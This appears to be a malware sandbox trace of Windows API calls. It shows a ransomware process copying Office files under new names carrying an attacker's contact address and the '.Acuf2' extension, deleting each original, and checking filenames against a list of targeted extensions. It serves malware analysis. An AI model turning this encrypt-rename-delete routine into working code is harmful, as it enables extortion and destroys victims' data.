	[0264.095] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0264.096] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.097] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.097] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0264.097] SetEndOfFile (hFile=0x32c) returned 1
	[0264.097] CloseHandle (hObject=0x32c) returned 1
	[0264.097] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.097] SetEndOfFile (hFile=0x344) returned 1
	[0264.102] CloseHandle (hObject=0x344) returned 1
	[0264.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 1
	[0264.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69
	[0264.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69
	[0264.156] lstrlenW (lpString=".doc") returned 4
	[0264.156] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.156] lstrlenW (lpString=".docx") returned 5
	[0264.156] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.156] lstrlenW (lpString=".pdf") returned 4
	[0264.156] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.156] lstrlenW (lpString=".xls") returned 4
	[0264.156] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.156] lstrlenW (lpString=".xlsx") returned 5
	[0264.156] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.156] lstrlenW (lpString=".ppt") returned 4
	[0264.156] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69
	[0264.156] lstrlenW (lpString=".zip") returned 4
	[0264.156] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.156] lstrlenW (lpString=".rar") returned 4
	[0264.156] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.156] lstrlenW (lpString=".bz2") returned 4
	[0264.156] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.156] lstrlenW (lpString=".7z") returned 3
	[0264.156] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69
	[0264.156] lstrlenW (lpString=".dbf") returned 4
	[0264.156] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69
	[0264.156] lstrlenW (lpString=".1cd") returned 4
	[0264.156] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69
	[0264.157] lstrlenW (lpString=".jpg") returned 4
	[0264.157] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.157] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=207) returned 1
	[0264.157] CloseHandle (hObject=0x340) returned 1
	[0264.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 0x20
	[0264.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0264.157] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.157] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0264.158] GetLastError () returned 0x0
	[0264.158] ReadFile (in: hFile=0x340, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xcf, lpOverlapped=0x0) returned 1
	[0264.159] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0264.160] ReadFile (in: hFile=0x340, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.160] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0264.160] SetEndOfFile (hFile=0x35c) returned 1
	[0264.160] CloseHandle (hObject=0x35c) returned 1
	[0264.160] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.160] SetEndOfFile (hFile=0x340) returned 1
	[0264.162] CloseHandle (hObject=0x340) returned 1
	[0264.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 1
	[0264.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63
	[0264.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63
	[0264.163] lstrlenW (lpString=".doc") returned 4
	[0264.163] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0264.163] lstrlenW (lpString=".docx") returned 5
	[0264.163] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0264.163] lstrlenW (lpString=".pdf") returned 4
	[0264.163] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0264.163] lstrlenW (lpString=".xls") returned 4
	[0264.163] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0264.163] lstrlenW (lpString=".xlsx") returned 5
	[0264.163] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0264.163] lstrlenW (lpString=".ppt") returned 4
	[0264.163] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0264.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63
	[0264.163] lstrlenW (lpString=".zip") returned 4
	[0264.163] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0264.163] lstrlenW (lpString=".rar") returned 4
	[0264.163] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0264.163] lstrlenW (lpString=".bz2") returned 4
	[0264.163] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0264.163] lstrlenW (lpString=".7z") returned 3
	[0264.163] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0264.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63
	[0264.163] lstrlenW (lpString=".dbf") returned 4
	[0264.164] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0264.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63
	[0264.164] lstrlenW (lpString=".1cd") returned 4
	[0264.164] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0264.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63
	[0264.164] lstrlenW (lpString=".jpg") returned 4
	[0264.164] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0264.164] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0264.164] CloseHandle (hObject=0x340) returned 1
	[0264.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 0x20
	[0264.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0264.165] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.165] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0264.165] GetLastError () returned 0x0
	[0264.165] ReadFile (in: hFile=0x340, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0264.166] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.167] ReadFile (in: hFile=0x340, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.167] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0264.167] SetEndOfFile (hFile=0x35c) returned 1
	[0264.167] CloseHandle (hObject=0x35c) returned 1
	[0264.167] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.167] SetEndOfFile (hFile=0x340) returned 1
	[0264.169] CloseHandle (hObject=0x340) returned 1
	[0264.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 1
	[0264.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65
	[0264.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65
	[0264.170] lstrlenW (lpString=".doc") returned 4
	[0264.170] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.170] lstrlenW (lpString=".docx") returned 5
	[0264.170] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.170] lstrlenW (lpString=".pdf") returned 4
	[0264.170] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.170] lstrlenW (lpString=".xls") returned 4
	[0264.170] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.170] lstrlenW (lpString=".xlsx") returned 5
	[0264.170] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.170] lstrlenW (lpString=".ppt") returned 4
	[0264.170] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65
	[0264.170] lstrlenW (lpString=".zip") returned 4
	[0264.170] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.170] lstrlenW (lpString=".rar") returned 4
	[0264.170] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.170] lstrlenW (lpString=".bz2") returned 4
	[0264.170] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.170] lstrlenW (lpString=".7z") returned 3
	[0264.170] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65
	[0264.170] lstrlenW (lpString=".dbf") returned 4
	[0264.170] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65
	[0264.171] lstrlenW (lpString=".1cd") returned 4
	[0264.171] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65
	[0264.171] lstrlenW (lpString=".jpg") returned 4
	[0264.171] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.171] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0264.171] CloseHandle (hObject=0x340) returned 1
	[0264.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 0x20
	[0264.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0264.172] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.172] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4
	[0264.394] GetLastError () returned 0x0
	[0264.394] ReadFile (in: hFile=0x340, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0264.394] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.395] ReadFile (in: hFile=0x340, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.395] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0264.395] SetEndOfFile (hFile=0x1b4) returned 1
	[0264.395] CloseHandle (hObject=0x1b4) returned 1
	[0264.395] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.395] SetEndOfFile (hFile=0x340) returned 1
	[0264.398] CloseHandle (hObject=0x340) returned 1
	[0264.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 1
	[0264.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65
	[0264.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65
	[0264.403] lstrlenW (lpString=".doc") returned 4
	[0264.403] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.403] lstrlenW (lpString=".docx") returned 5
	[0264.403] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.403] lstrlenW (lpString=".pdf") returned 4
	[0264.403] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.403] lstrlenW (lpString=".xls") returned 4
	[0264.403] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.403] lstrlenW (lpString=".xlsx") returned 5
	[0264.403] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.403] lstrlenW (lpString=".ppt") returned 4
	[0264.403] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65
	[0264.403] lstrlenW (lpString=".zip") returned 4
	[0264.403] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.403] lstrlenW (lpString=".rar") returned 4
	[0264.403] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.403] lstrlenW (lpString=".bz2") returned 4
	[0264.403] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.403] lstrlenW (lpString=".7z") returned 3
	[0264.404] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65
	[0264.404] lstrlenW (lpString=".dbf") returned 4
	[0264.404] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65
	[0264.404] lstrlenW (lpString=".1cd") returned 4
	[0264.404] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65
	[0264.404] lstrlenW (lpString=".jpg") returned 4
	[0264.404] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.453] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=3384192) returned 1
	[0264.453] CloseHandle (hObject=0x34c) returned 1
	[0264.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll")) returned 0x20
	[0264.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0264.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58
	[0264.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58
	[0264.453] lstrlenW (lpString=".doc") returned 4
	[0264.453] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.453] lstrlenW (lpString=".docx") returned 5
	[0264.453] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0264.453] lstrlenW (lpString=".pdf") returned 4
	[0264.453] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.453] lstrlenW (lpString=".xls") returned 4
	[0264.453] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.453] lstrlenW (lpString=".xlsx") returned 5
	[0264.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0264.453] lstrlenW (lpString=".ppt") returned 4
	[0264.454] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58
	[0264.454] lstrlenW (lpString=".zip") returned 4
	[0264.454] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.454] lstrlenW (lpString=".rar") returned 4
	[0264.454] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.454] lstrlenW (lpString=".bz2") returned 4
	[0264.454] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.454] lstrlenW (lpString=".7z") returned 3
	[0264.454] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58
	[0264.454] lstrlenW (lpString=".dbf") returned 4
	[0264.454] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58
	[0264.454] lstrlenW (lpString=".1cd") returned 4
	[0264.454] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58
	[0264.454] lstrlenW (lpString=".jpg") returned 4
	[0264.454] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.462] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.462] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.463] GetLastError () returned 0x0
	[0264.463] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
